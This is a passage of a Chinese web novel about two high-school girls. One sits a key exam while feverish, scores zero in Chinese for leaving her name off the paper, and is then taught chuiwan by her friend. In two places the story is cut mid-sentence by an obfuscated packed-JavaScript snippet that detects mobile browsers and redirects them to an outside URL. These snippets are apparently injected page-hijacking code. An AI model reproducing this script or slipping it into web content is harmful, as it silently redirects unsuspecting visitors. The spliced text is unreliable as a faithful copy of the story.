“咳咳……”戴琴接过水,等咳嗽完这一阵,才顺着气道:“谢谢……” 她咬着奶嘴吸了一口水,压下了喉咙的痒意,这才彻底缓了过来。 敖小陆在一旁看得心惊胆战的,捧着自己的心口道:“你都咳成这样了,吓得我以为你要和假扮唐僧的孙悟空一样把自己的心一颗又一颗的吐出来,怎么还是这么坚持啊?” 哪怕和她做了一个多月的同桌,戴琴有时候还是摸不清敖小陆的脑回路。比如现在这个比喻,她就有些反应不过来:“什么?这和唐僧还有孙悟空有什么关系?” 敖小陆立马欢快地接话:“唐僧和孙悟空,你不知道吗?就是西游记啊。” 她实在是很擅长把别人拖到自己的领域,果不其然戴琴顺着她的话说道:“我当然知道,不过这个和我咳嗽有什么关系?” 敖小陆开始比手画脚地和她解释:“西游记里面有一集,有个国王还是妖怪要吃唐僧的心。孙悟空就变成了唐僧的样子,然后端着盘子,开始用七十二变把心吐出来。” 她说着,拿过英语书,当成托盘放在自己面前,开始做呕吐状:“就这样,呕……” 这一番操作,生动形象地诠释了什么叫做咳嗽能把“心肺”都咳出来。 戴琴被她恶心到了,一言难尽地评价:“你还挺有表演天赋的。” “别画画了,去学表演吧。” 最后一句说得阴阳怪气,敖小陆也不恼,笑嘻嘻地应道:“那当然啦,我这么厉害,肯定什么天赋都有。” 戴琴将背完的单词卡放到一边,重新翻开英语书,轻咳了两声,回怼了一句:“希望你在理科上的天赋也这么好,第一次月考不会考个个位数。” 敖小陆不太满意这个说话,冷哼了一声。可她又实在担心戴琴,凑到她面前:“不过你真的没事吗?” 她这回问得真心,戴琴也没有再怼她。只是点点头,应了一声:“嗯。” 她这个人很固执,一旦认定了某一个目标,某一种方向,十头牛也拉不回来。 敖小陆也不是那种“打着为别人好的旗号”要求别人听自己话的人,她叹息一声,摊开自己的生物书,随意祝愿了一句:“腾格里在上,希望你四天后病愈,能取得自己想要的成绩,如愿以偿吧。” 她知道戴琴一心想进重点班,也知道她们同桌的情谊,不过只有半年。尽管如此,为了这片刻的交际,敖小陆还是选择努力帮助对方。 第二天早自习的时候,戴琴从敖小陆那里得到了一件很厚实的毛衣,以及两片止痛药。 这是她所能给予的微薄帮助,在戴琴复杂的眼神里,她伸出拳头,和对方碰了碰:“要加油啊!” “嗯。” 大概是对这次考试期望太高了,考试的前一夜,戴琴并没有在自己预想中那样病愈,反而因为高度紧张,导致了生理期提前。 经期再加上风寒感冒,第二天早上,戴琴发起了高烧。敖小陆在教室见到她的时候,她整张脸都是红的。 敖小陆很担心她,抬手在她额头上压了一下,满掌滚烫。敖小陆都吓坏了:“你在发烧啊!”惊吓过后,敖小陆立马牵着她站起来,就想往校医室走,“不行,你得挂点滴。” 可戴琴也不知道从哪里来的力气,挣开了敖小陆的手:“不要,要开始考试了,我不能缺席!” 对重点班的渴望压倒了身体的病痛,戴琴固执地抱起自己的文具袋,拿着自己的准考证,前往自己的考场。 市重从高一第一场考试开始,每一场都是模拟高考考场,打乱班次名号来安排考场的。戴琴的考场不在自己班,也和敖小陆不是一个班级,眼看就要开考,敖小陆也没办法追上去,只好等着考完之后去戴琴的班级等她出来,再陪她去医务室。 再说那头的戴琴,找到考场和位置坐下之后,考试铃声恰好响起。 高烧令她的心脏跳得很快,脑子一片昏沉。她坐在椅子上,强迫自己集中注意力。 试卷很快就发了下来,她摊开语文试卷一看,粗略地翻了翻,心跳逐渐稳定下来。 很好,和测验的题型一样,十道选择题,前两道是拼写和错字,中间五道成语和语法,后面三道是阅读理解多选题。 接着是语文默写和诗词理解…… 等戴琴的目光落在古诗词阅读的时候,顿时怔住了。这是一个不常见的诗人,她是第一次读这个人的诗,她没做过! 意识到这一点,戴琴整个人的呼吸都乱了起来。她的心跳再加快,呼吸紊乱,额前冒着细汗,手心也在出汗。 过度的紧张让她的意识在失控,她做了几次深呼吸,索性拿起笔,开始写了起来。 伴随着一道又一道题的解决,她的念头也渐渐平静了下来。一直到最后的作文誊写,她都没有再升起剧烈的情绪。 “铃铃铃……” 考试结束的铃声响起,戴琴总算抄完了最后一个字。她身体往后一仰,坐在椅子上,等着人来收试卷。 教室内所有试卷都被收走的时候,靠在椅子上放松大脑的戴琴,听到了一声呼唤:“戴琴!” 她飞快地转眸,看到了趴在窗户上望眼欲穿的敖小陆:“快出来!” 敖小陆朝她招了招手,神色很担忧。戴琴收好戴琴袋,起身朝她走去。结果刚出来,就被人撞了一下,整个人扑在桌子上,撞得髋骨生疼。 敖小陆担心死了,直接跑进了教室,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240088|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她搀扶起来,很紧张地问:“怎么样,有没有伤到哪里?” 高烧让身体的一切感觉都变钝了,戴琴摇摇头,示意自己没事。敖小陆这才抬手,将掌心压在她的额头上,皱紧了眉头:“还是很烫,我带你去校医室吧。” 戴琴点点头,整个人宛若挂在她身上一样走出了教室。只是迈出教室的时候,她隐隐约约觉得自己漏了什么,只是实在是太累了,没一会又抛到了脑后。 等两人来到医务室看了医生后,医生觉得不太好,给她开了些退烧止疼的药。但这种药起效实在是太慢了,考虑到下午是非常重要的数学,戴琴破天荒地要求医生打了点滴。 相较于现在对青霉素,抗生素等药物的控制,在那个年代大多数医生,尤其是乡镇医生,都会选择这类药物来退烧,强效又迅速。 参杂着药物的生理盐水随着输液管进入静脉中,原本靠坐在长椅上面色苍白,一副半死不活的戴琴,也渐渐恢复了点力气。 脚步声在耳边响起,她掀起沉重的眼皮看了一眼,见敖小陆捧着两个满满当当的饭盒过来,她有气无力道:“下午的考试很重要,你回宿舍休息吧,我已经没事了。” 敖小陆耳若未闻,挨着她坐下:“你还是先把饭吃了吧。” 她打开戴琴的饭盒,舀了一勺饭怼了过去:“啊……” 戴琴被她塞了一口饭,微微蹙眉:“你把饭盒放在我膝盖,我左手又没插针管,可以自己吃的。” 敖小陆又舀了一勺混着菜的饭,怼到她面前,语气难得强势了点:“病人没有提要求的权利,少废话,快点吃。” 戴琴也没有力气和她做对抗了,只好皱着眉头,就着敖小陆的手,一口一口把饭吃掉。她静默着,敖小陆一边给她喂饭,一边碎碎念:“你也不要太担心上午的考试,你还记得亡羊补牢吗?已经被抓走的小羊,就抛下吧,只要保护好剩下的小羊就行了。考都考完了,就安心准备下午的考试吧。” “更何况你那么努力,腾格里都看在眼里,会保佑你有个好成绩的。” 滴入身体里的液体很凉,稍稍平息了身体的滚烫。有了点精神之后,戴琴脑内的思绪却开始活跃了起来,在不断地复盘着之前的语文考试。 从最基础的选择题开始,再到作文的审题。她脑子乱得厉害,心情也很烦躁,此时的敖小陆的声音就显得非常聒噪。 她有些烦,忍不住呛了一句:“你说得轻松,你又不想上重点班,你懂什么!” 还腾格里在上,她从来都不信腾格里,也没有什么好运气! 她现在走的每一步都是靠自己走过来的,无论是腾格里还是哪一方的天神菩萨,从没有帮过她。 戴琴一开口,就意识到自己不对了。且不说敖小陆之前帮助了她那么多,单单是现在陪她来医务室,就足够让她收敛脾气,不能将气撒在对方头上。 戴琴自知不对,可她没有交往过其他的朋友,并不知道怎么做,索性抿唇闭嘴。 敖小陆和她相处了那么久,早就知道自己的同桌是一块坚硬的石头。你要是硬要和她相融,肯定会被硌得鲜血淋漓。 但是敖小陆是个很慈悲的人。她既像是天边遥不可及的云,又仿佛拂过绿草的风,更宛若河底里坚硬又柔软的蚌。对于这世上的一切事物,都像她出生的这片土地那样,能够辽阔又宽厚地容纳其中。 例如此刻,她叹息了一声,放缓了语气,目光专注地望着戴琴:“我知道的。” “我什么都知道的。” 进了重点班,可以遇到更好的老师教授,有机会考上更好的学校,这所学校里的每一个学生都想进重点班。 但是想进和能进是两回事,就像她和戴琴一样。 敖小陆是想进,但是没资格进。 因为她很早就明白了,她的学习天赋比别人要差很多。从小学三年级开始,无论怎么学,她的数学都是不及格的。 但是敖小陆从不会因为做不出数学题而懊恼。 因为她的画画很好,书法也很好,她可以走了别的路。 但是戴琴不一样,她是想进也能进。 戴琴的成绩很好,又善于学习,每次测验,都名列前茅。 她凝视着戴琴的面庞,温柔又宽厚:“正是因为你要上,所以当下的每一步,都显得格外重要啊。” 11. 戴琴与第一次受挫 敖小陆的一句话,让戴琴起伏不定的情绪,奇异地沉静下来。 见她没有再乱七八糟地乱想,敖小陆松了一口气,继续将饭怼到她面前:“好了,吃饭!” 尽管戴琴百般不愿,敖小陆还是在医务室陪了她一中午,并振振有词地说“自己是班长,理应照顾好同学。” 赶又赶不走,说又说不过,戴琴只好随她去了。 兴许是药物让脑子清醒了点,又或者是敖小陆的安慰行之有效,下午的时候,戴琴没有那么焦虑了。一口气考完所有的科目,到了第四天晚上,所有人都放松了起来。 尤其是敖小陆,她甚至组织了一场捶丸比赛,带着一群女孩子在操场上玩耍了起来。只有戴琴重新变得异常焦躁,坐在自己位置上,翻着语文课本,不断地回想自己自己考过的项目。 她一时想自己的答题卡有没有涂错,一时想其他科目公式有没有套对,上晚自习的时候不断地在翻各科练习册,都快把书都翻皱了。 她这种火烧眉毛,如坐针毡的情绪,精准地传递给了敖小陆。敖小陆见她翻着练习册,看似严肃地绷着脸,实则六神无主的模样,哪里还不知道她忧愁什么。 她直接从自己的桌洞里抽出一本“趣味练习册”,翻开某一页的英语拼字填空,捅了捅她的手肘:“看看这个……” 戴琴扭头看向她,微微蹙眉。敖小陆伸手指了指练习册:“这个我不会,帮我填填?” 戴琴扫了一眼那个英语单词拼写图表,顿时拧眉,刚想喝斥一句:“考完试就想玩,你也太不务正业了!”结果敖小陆就立马双手合十,请求着她道:“拜托啦拜托啦!你英语比我好,肯定能做出来!” “我是真的觉得这个很有意思,想要填出来的嘛。” 戴琴见她态度如此诚恳,一时语塞。敖小陆立即眯起一只眼,讨好道:“好不好?” 戴琴板起一张脸,伸手拉过练习册,硬邦邦道:“只帮你这一次,下不为例!” “好好好!下不为例。”敖小陆笑眯眯地,见她拿起笔,翻开一张写满公式的草稿纸,迅速拼写起来。 戴琴是一个专注力很强的人,敖小陆见她写过物理作业,一旦拿起草稿纸开始演算,就会全身心地投入到自己目前所做的事情当中。直到她停下笔为止,中间无论有什么样的干扰,哪怕是天塌了,都影响不到她。 这个特质有好有坏。 好的方面是专注力极强,只要做事就会一个劲地钻研。同样的,坏的方面也很明显。只要开始想一件坏事,就会一直想下去,拼命钻牛角尖。 敖小陆见她已经开始写起来,顿时松了一口气。至少今天晚上自习课结束之前,戴琴“火烧屁股”的时间会减少了。 至于今晚睡前戴琴想不想这件事,只能希望她自求多福。 果不其然,直到填满那张图表之前,戴琴的气息都很安稳。只是一回到宿舍躺到床上,忧愁又重新笼罩了戴琴。 十多岁的少女,敏感又纤细,正是容易多想的时节。 又是深夜,万籁寂静,惶恐与不安加剧了侵蚀,催生了许多的懊恼。她忽然想到中考时期,因为生物填错了一个答案,差了几分每上重点班。又想到此时自己挑战夜战,临到头高烧不退,不免有些哀怨自己运气真不好。 差一步,总是差一步,或许老天就是不偏爱自己,做什么都让她顺心顺意。 她越想越气,越想越惶恐,将自己从小到大的事情都想了一遍。 不知道怎么地,戴琴忽然想到了自己的姐姐。她和家里的姐姐差了九岁,从有记忆开始,姐姐就像春日河边的垂柳一样,窈窕,轻盈,还有和鸟儿一样清脆动听的声音。 曾有一次她闯入洗澡间里,撞上正在洗澡的姐姐。雾霭缭绕里,姐姐站在橘黄色的灯光下,用毛巾挡在自己胸口,转过头诧异地看着自己。小小的戴琴抬头,看到了姐姐裸露出来的肌肤,哇了一声:“羊奶!”姐姐一愣,继而噗嗤一笑,俯身在她额头上弹了一指:“出去。” 直到如今,戴琴都记得姐姐的笑。后来她在一本文艺杂志上看到过一些雕塑家的女性作品,对此嗤之以鼻,觉得还没自己的姐姐好看。 只是不知道什么时候起,姐姐的苗条的腰肢逐渐臃肿,嫩笋一样的□□变得更加肿胀,下垂。整个人如同充了气的气球一样,以一种难以言喻的速度,变得更圆,更胖。那奶牛般的肌肤,在热烈的太阳摧残之下,生出了红色斑块,如同蚕食的铁锈斑斑。她的面庞逐渐黝黑,眼角有了细纹,脸上顶着两团高原红,越来越接近一个形象——她们的母亲,一个饱受风霜的中年妇女。 戴琴仔细想了想,想到了一个节点。对了,就是姐姐放弃念大学,选择南下打工,嫁人结婚后开始的转变。从那一刻开始,姐姐从一个漂亮窈窕的少女,变成了背负生活重担的妇女。 姐姐嫁的对象,是同村的一家牧羊人。对方的家境不是很好,每次家里提到这件事,总会觉得姐姐受了苦,说不了两句,母亲都要抹泪。 母亲最常说的一句话就是,“鲜花一样美丽的姑娘,到了他们家成了揉皱的烂袄子。” 这句话在戴琴脑海里根深蒂固,可她有时候看到母亲脸上的沟壑,时不时也会想,当年母亲会不会也是花一样的姑娘,现在也成了揉皱的烂袄子。 究竟是只有草原上所有的姑娘都会成为揉皱的烂袄子,还是这个世界上所有的姑娘都会成为揉皱的烂袄子? 那她们是为什么成为烂袄子的呢? 是因为婚姻?还是因为贫穷? 总有一天,她也会这样吗? 当天晚上,戴琴做了一个梦。梦里,她成了一只小小的羊羔,被群狼追逐。空旷无垠的草原里,她被太阳暴晒,最终被气喘吁吁的群狼追上,咬断了脖颈。鲜血从颈动脉涌出,她仰头望着能把人灼伤的太阳,眼神空洞而无望。狼群在啃噬她,她却觉得自己的身体在被撕开,又被缝补,成了一张羊皮子,被自行车车筒灌入了空气,不断地膨胀,膨胀…… 膨胀到极致,“砰”地一声炸开,如同蒲公英一般朝四周散乱,无根四散在风里,不知向何处飘去。 戴琴猝然惊醒。 “铃铃铃……”早自习上课铃声响起,敖小陆踩着点到教室。她刚落座,就看到自己同桌煞白着一张小脸,一副随时要晕过去的样子。 敖小陆看得心惊胆战:“你脸色怎么那么差,不会是又发烧了吧?” 老实说,敖小陆这段时间被戴琴吓到了。她觉得自己的同桌和去年暑假时候看的那个《红楼梦》里的林黛玉一样,天天病怏怏的,一不留神感觉还会吐血,直接死了。 她可真是一点也不希望有生之年再看到有人死去了。 戴琴一夜没睡好,还做了个噩梦,此刻头疼得太阳穴突突地跳。她淡淡地扫了敖小陆一眼,语气很平静:“人没事,也没发烧,多谢操心。” 敖小陆“哦”了一声,没有多问,翻开语文课本早读了起来。 早上第一节课是数学,看着老师抱着一打试卷走进来,学号排前的几名学生,包括戴琴在内全都伸长了脖子往前探去。 数学老师抱着试卷砸在讲台上,一进来就气势汹汹地说:“这次摸底考试,题型那么简单,竟然连个120分的都没有!” 戴琴听到这句话,一颗心瞬间沉了下去,拧紧了眉头。 这时数学老师扫了戴琴一眼,恨铁不成钢道:“好了,喊到名字的上来领试卷。戴琴,117分!“ 众人的视线齐刷刷地朝她看去,戴琴“唰”地一下站了起来,应道:“是!” 她起身走向讲台,数学老师将试卷给她的时候,有些咬牙切齿:“哎呀你这个第一题,那么简单,怎么就选错了呢!” 他用试卷轻轻敲了戴琴一下:“回去反省!” “是。” 等戴琴走下台,身后传来了一句:“陈越好,108分!” 戴琴的情绪一下就提了起来,和第二名相差将近九分,这是一个不小的差距。哪怕强装镇定如她,也免不了扬了扬唇角。带着欢快的心情,她重新回到了座位上。 敖小陆看出了她的好心情,凑到她身旁小小声道:“恭喜啊。” 戴琴抿起唇角,矜持又有礼貌地回复了两个字:“谢谢。” 接下来的两节数学课,戴琴的情绪一直很好。直到课间做眼保健操的时候,她又开始不安了起来。因为课间操之后是语文课,这是她高烧考的一门科目,她实在是没什么把握。 上课铃声响起,伴随着班主任吕昉抱着试卷进入教室,戴琴的一颗心被紧紧地提了起来,尤其是吕昉的表情看起来还不算太好。 这个向来脸上带笑的干瘦女人,此刻严肃着一张脸,将试卷压在了讲台上,开了口:“这次考试需要背诵的内容范围那么小,竟然还是又七个同学没有拿到满分,这令我很失望。” “看来以后早晚读课都要好好盯着你们。” 她语气很严厉,全班同学都不敢吱声。教室一片静默,吕昉深吸一口气,恨铁不成钢道:“还有的同学,千叮咛万嘱咐了,一定要写名字,一定要涂卡,就是不听,就是不听!” “明明考了那么好的成绩,结果全打水漂了!” 听到这里,敖小陆和戴琴猝然抬眸,默契地朝讲台上看去。却见吕昉已经翻开试卷,喊道:“上来拿试卷,陈月好,118分!” 戴琴的心瞬间一沉,接下来,吕昉继续喊了几个名字,全都没有她。 戴琴的心越来越沉,越来越沉,如同一颗灌满了铅的球,一点一点沉入悬崖谷底。直到身旁的敖小陆也上去拿了试卷,直到倒数第二名的名字响起:“巴图鲁,79分!” 在万众瞩目里,班主任终于喊到了她:”戴琴,0分。“ 只听得“嗡”的一声,戴琴的脑子里划过了一声尖锐的爆鸣声。在众人或是诧异,或是惊讶,或是担忧,或是看好戏的眼神下,她驱动着自己麻木的躯壳,走到了讲台上,接过了吕昉手里的试卷。 她低下头,看到分数栏上加起来的125分被划掉,变成了一个大大的零鸡蛋,整个人都要摇摇欲坠,似乎只要风一吹,就会倒下去。 吕昉看到她这个模样,很是恨铁不成钢道:“考得多好啊,怎么就是忘了写名字呢!” “哎,下去吧。” 戴琴脑袋嗡嗡作响,什么也听不进去了。她拿着试卷,点了点头,恍惚地走回自己位置。落座的时候,敖小陆扫了眼她试卷上的分数,目露担忧:“你还好吗?” 戴琴点点头,深吸一口气,将自己的情绪压了下去。 讲台上,老师已经开始讲解试卷了。没有得知分数的时候,她提心吊胆,担心这个,担心那个,还做了很多离谱的猜想,想到很远的地方。 实际上,不过就是一场考试而已。 她之前打听过了,直到高三之前,每一个学期重点班的人都会再变。她还有机会,这次不行,还有下次。不过是一次运气不好,决定不了什么的,大不了就下学期…… 啪嗒…… 啪嗒…… 泪水凝成珠,滴落在试卷上,晕开了那红红的分数,像是血再淌。戴琴低着头,睁大了眼睛,望着上面的痕迹,满眼都是疑惑:咦?我怎么哭了? 坐在她身旁的敖小陆很快地察觉到了她的异样,她转过头朝戴琴看去,一眼就看到了她大大的眼睛里悬着的满眶泪,顿时惊了。 还未等她说什么,已经感觉到她视线的戴琴抬手,慌忙地擦掉自己脸上的泪,又一言不发地用袖子擦了擦视觉上的湿痕,重新伪装成一副无事的样子。 敖小陆将这一幕看在眼底,在心中暗暗记着。 有这件事压着,这两节语文课上得很难熬,至少对于敖小陆来说,这很难熬。 第四节课一下课,她看到吕昉迈步往教室走,一把拽着戴琴起身:“走!” 她言简意赅,拉着戴琴从后门夺门而出,快步奔向吕昉,一边跑还一遍喊:“吕老师,吕老师等等……” 在楼梯口前,吕昉停下了脚步,转头看着气喘吁吁朝她跑来的敖小陆,叹了口气:“如果是班级的事,你可以和我说。” 她说着,看了眼敖小陆身后的戴琴,语气很无奈:“如果你是要和我说戴琴的事,我只能告诉你,事已成定局,这分改不了。” 敖小陆瞪大了眼睛,拉着戴琴站在吕昉面前:“为什么?” 她急急辩解,仿佛她才是那个当事人:“戴琴是因为考语文的时候高烧了,才忘记填名字的。如果她当时身体健康,一定不会忘记的!” 她说着转过头,满脸焦急地看向戴琴:“我那时候还送你去医务室打吊针了,你说是不是啊戴琴!” 戴琴跑了一程,到现在还在喘。见敖小陆问她,她下意识点了点头:“嗯。” 敖小陆转过头重新看向吕昉:“而且她成绩很好的,数学刚考了全班第一,其他科估计也不差,加上语文排名肯定能上重点班!” “吕老师,到时候我们班就有一个升入重点班的学生,这不是很光荣吗?你是语文老师,你就把她这个分数加回来了好不好?” 这个年纪的孩子,要么不擅长交际,要么不屑于和老师打交道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240089|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像敖小陆这样,为了别人出头的很少。 吕昉是真的很喜欢这个机灵的孩子,所以抬手拍了拍她的肩膀,和她解释:“不是我不加,这件事我已经和教学组长反应过了。” “这个情况,说简单也简单,说复杂也复杂。” 敖小陆抬眸,直勾勾地看向吕昉:“那为什么不能加?” 吕昉叹了口气,将目光落在了她身后的戴琴身上:“你们以为这只是我们学自己举行的一场考试,可如果这就是高考呢?” “在这种面向全社会的大型考试里,可不管你是不是高烧考试,有没有特殊理由没有正常发挥。在这样的考试里,结果就是一切。” “不给你加分,是为了保证考试机制的相对公平。也希望你们明白,在人生的考场里,运气也是一种决定因素。为了减少这种不可控的因素影响,所以你们要学会控制能控制的因素。” 话说到这里,吕昉叹了口气,走到戴琴面前,拍了拍她的肩膀,安慰道:“虽然这一次很可惜,但是老师相信,以你的成绩,这个学期不行,下个学期也一定能进入重点班的。” 戴琴点了点头,回答得略有些拘谨:“嗯,多谢老师。” 吕昉放下手,叹了一口气:“好了,不说了,事情就这么定了,你们去吃饭吧。” 敖小陆还是有些不甘心,还想说些什么,戴琴见状一把拉住了她,很乖巧地说道:“好,老师再见。” 吕昉挥了挥手:“再见。” 目送老师离去,敖小陆急得跳脚。她转过头看着戴琴,语气焦急:“你就这么算了?” 戴琴倒是已经收拾好了心情,拉着她往楼下走:“走吧,先吃了饭再说。” 两人倒了食堂打好饭,坐下来之后,敖小陆还是唉声叹气的:“你说老师怎么就这么不讲情面呢?明明你成绩那么好,既然觉得明年也能上,那么为什么不今年就把你放上去?” 戴琴已经拿起筷子,夹了一筷子青菜,面无表情地开始吃饭。 敖小陆想着她几天前的倔强模样,皱起眉头:“还有你不是那么在乎这次考试吗?怎么不为自己争取一下呢?” 戴琴慢条斯理吃着饭,淡淡地吐了一句话:“可能是觉得没有多大希望吧。” 她就是这样的人,尘埃落定之前会想东想西,结果出来之后,反倒不会纠结过去,而是重新制定一条可行的路线,完成自己的目标。 学校是一个很讲规则的地方,说是靠分数分班级,大多数时候都会遵照这个原则。除非有足够地筹码去打破这个规则,不然所有的一切都按照框架运作。 戴琴知道,自己没有筹码去打破。 敖小陆唉了一声,身体向前倾,满眼关切地鼓励道:“就算是没有多大希望,也要去争取一下啊。万一就成功了呢?” “你辛辛苦苦备考了那么久,怎么能因为一个语文就折戟沉沙了。” 戴琴不想一直谈论这个话题,语文没有分数,她比任何人都要难过。在她看来,敖小陆这种希望渺茫的鼓励,不过是一种莽撞的乐观。 她不想去争取这种无望的事情,也没办法去争取。索性勾起了唇角,阴阳怪气了一句:“看起来你语文还算可以,折戟沉沙都会用了。” 敖小陆瞥了她一眼,闷闷不乐地戳着自己的碗,不是很想接话。 敖小陆是乐观的,积极的,少有这么低沉的时候。戴琴心里本来就很难受,可见她这副模样,更加的心塞。她叹了口气,无奈地望着对方:“明明是我语文考了个零鸡蛋,我怎么感觉你比我还不甘心啊。” 说到这里,敖小陆就更忧伤了。她捧着碗,唉声叹气:“那是你冒着打点滴的风险考出来的高分,我一想到你在医务室半死不活那个样子,我就……我就……” 她没有把两个字说出来,但戴琴已经听明白了。 敖小陆在心疼。 真稀奇,长这么大,她还是第一次从外人身上感受到这个情绪,并且是如此的鲜明炙热。 戴琴敛了神情,不再说话。 敖小陆垂着眼,神情很落寞:“而且你还哭了。” 戴琴:“……” 戴琴握着筷子的手手紧,有那么一刻她觉得,如果她手里拿的是刀,或许已经割断对方的喉咙。 戴琴深吸了一口气,压低声音道:“这件事要是有第三个人知道,我就杀了你!” 威胁,赤裸裸的威胁。 敖小陆和她同桌那么久,从来没有在她身上感受过如此鲜明的情绪。她抬起头,惊讶地看向对方:“咦……” 她瞪圆了自己小鹿眼,好一会才眨巴眨着眼睛开口:“那我可以告诉我的小马吗?” 戴琴一时间没反应过来,敖小陆带着几分稚气继续道:“我的小马很可爱的,我什么话都和它说。” 或许是学绘画的缘故,敖小陆有着一个非常天马行空的脑子。上一秒还在一本正经,下一秒就开始遨游幻想的宇宙,说话十分跳脱。 比如现在,她已经忘却了令人难过的考试,开始很积极地和戴琴讨论她的小马:“它很可爱的,和它说开心的事,它就会快乐地打鸣。如果和她说糟糕的事,它就会气呼呼地踢着蹄子。我觉得你可以把这件事和它说说,让它把你的烦恼统统踹走……” 说到这里,敖小陆一拍手:“啊,择日不如撞日,不如周六就去我家看小马吧!” 有些时候,戴琴会觉得敖小陆的脑沟会比她平滑,不然怎么到了这个年纪,还在说一些孩子话。 可不知道为什么,这些孩子话从她嘴里说出来,又格外的吸引人。 戴琴掀起眼皮淡淡扫了她一眼,很是冷酷无情:“不可以。” “好吧。”敖小陆叹了口气,一脸遗憾,“好吧好吧,反正以后,你总有机会见到它的。” 敖小陆戳了戳自己的碗,试探地问:“既然你对我的小马不感兴趣,那我想问问你,有没有兴趣练一下捶丸?” 戴琴歪了歪脑袋:“嗯?” 敖小陆直起身子,笑容腼腆,眼神诚挚:“为了防止这次的事故再次发生,我觉得你可以尝试一下锻炼身体。我认为捶丸是一项非常合适的运动,不知道你愿不愿意和我一起玩捶丸呢?” 这的确是一个很好的提议,毕竟遇到这样的事,戴琴也想转换心情。她思索了一会,迟疑开口:“那……傍晚的话,你有时间教我吗?” 她难得主动一回,敖小陆的双眼顿时亮了,疯狂点头:“嗯嗯嗯,可以可以。今天傍晚,不见不散。” 戴琴应得矜持,点了点头,脸上带着淡淡的笑:“嗯,不见不散!” 12. 敖小陆与敖小河 傍晚很快就到来了,伴随着秋色渐浓,学校附近的草场仿佛被秋风抽走了生机勃勃的绿意,举目望去,只见一片荒草枯黄。 学校外墙的针叶树随风凋零,仿佛是在以自己最后的生命,阻挡冷冽秋风的侵袭。在秋风吹入学校之际,削减了它的部分威力。 绕是如此,敖小陆带着戴琴进入操场时,还是被迎面而来的寒风吹得睁不开眼。 她抱着怀里的捶杆打了个抖:“嘶……今天的风也太大了吧。”她一面感慨着,一面回头看向戴琴,“今天可能打不了太远的距离,反正是练习,我带你去一个背风的地方打好了。” 戴琴点点头:“嗯。” 两人抱着球杆,挪到了一个靠墙,风力稍弱的地方,插好球框。 一边插,敖小陆一边说:“捶丸很简单的,如果是多人玩,就和打篮球差不多。将人分成两队,分别进攻对方守护的球框。” “规则也差不多,不许撞人,只能用捶杆将角球打出去。” 戴琴点点头,跟在敖小陆身后虚心求教:“那只有两个人呢?” 敖小陆插好球框,拄着捶杆直起腰身意气风发道:“就比杆数,在区域范围内,谁能以最少的杆数将自己的球挥入球框里,就算谁赢。” “和玩高尔夫比赛同理,不过高尔夫有不同的地形,一共有十八个球洞,据说玩起来能玩一整天。” 她笑了一下,转过头看向戴琴:“不过我没玩过。” 戴琴淡淡接了一句:“你以后可以试试。” “听说打高尔夫很费钱的,一般人都玩不了。”敖小陆耸耸肩,带了点无所谓道,“我还是先教你玩捶丸吧。” 她带着戴琴来到她划好的发球区,指着前后左右的划线道:“这是我们的捶丸区,你要在这个范围内,以最少的杆数,将球打进球框里。” “我先来教你发球吧。” 戴琴点点头,拿着捶杆站在一旁,认真地看着她。敖小陆将球放在指定区域,两手握着球杆,微微躬身:“发球的姿势很重要,一般都是两手握住球杆,微微躬身,腰腹核心收紧……” 她一边解释,一边将捶丸弯曲部分对准球:“弯曲部分一定要先对准球,拉开一点距离……” “然后……转腰带手发力……” “嘿……”敖小陆的身体整个书站起来,捶杆捶向了平行线上的球,猛地一敲,在空中划下完美地弧线,破风坠入球框中。 一杆进洞! 戴琴的双眼顿时亮了起来,敖小陆扭头看向她,笑吟吟道:“你来试试。” 戴琴有样学样,摆出了同样的架势,将捶杆弯曲的部分,平行地对准了球。一旁的敖小陆抽空略微调整了她的姿势,用捶杆的另一头敲了敲她的腰:“这里要直起来,不要完全塌下去。” “脚后跟蹬地踩实……是了是了,能感受到腰腹绷紧的时候,力量从脚底传到你的手吗?” “然后……发力!” “铛!”沉闷地击打声响起,白色小球破风而去,化成一道弧线,直直地撞向墙。 “啊……”敖小陆举手眺望,发出了一声感慨,“力气很大嘛,都飞出去了。” 她转过头看向戴琴,眼里带着几分赞许:“第一次就能打成这样,很厉害了。”要知道,陈月好她们第一次学的时候,球迹都是歪的。某种程度来说,戴琴很有天赋。 或许是捶杆敲击小球的手感实在是太好,生平第一次,戴琴感受到了“运动”的乐趣。她握紧了球杆,双眼亮晶晶地看着敖小陆:“再来一次。” 敖小陆看到她眼底的狂热,愣了一下,继而笑道:“好。”她将手里剩下的球放在戴琴脚边,语气很温柔,“那就再来一次。” 为了能让戴琴尽兴,接下来她做了一个合格球童,陪着对方捡着球满场跑。她们大概玩了四十多分钟,最后戴琴微微气喘地坐在操场旁,仍旧有些意犹未尽。 彼时恰好是夕阳西下,暮色四合时分,操场上玩耍的学生也陆续散去。敖小陆将所有的球都捡回来,转过身朝戴琴迈去,一眼就看到了端坐在操场边缘的戴琴。 对方穿着一件干净素洁的灰色旧袄子,微微敞开衣领,露出了内里同样颜色的青灰白色素麻衣裙,整个人都透着一股宁静祥和的气息。 撩人的秋风从西边来,拂开了她漆黑如墨的长发。纤细的少女被风眯了眼,下意识瑟缩着身子,侧身向旁躲去。纤长的发丝荡开,如同夏日河水里漾开的水藻,缠绵动人。隔着小半个操场,敖小陆依稀看见戴琴抬手,用青葱细指将黏在唇上的发丝拨开。 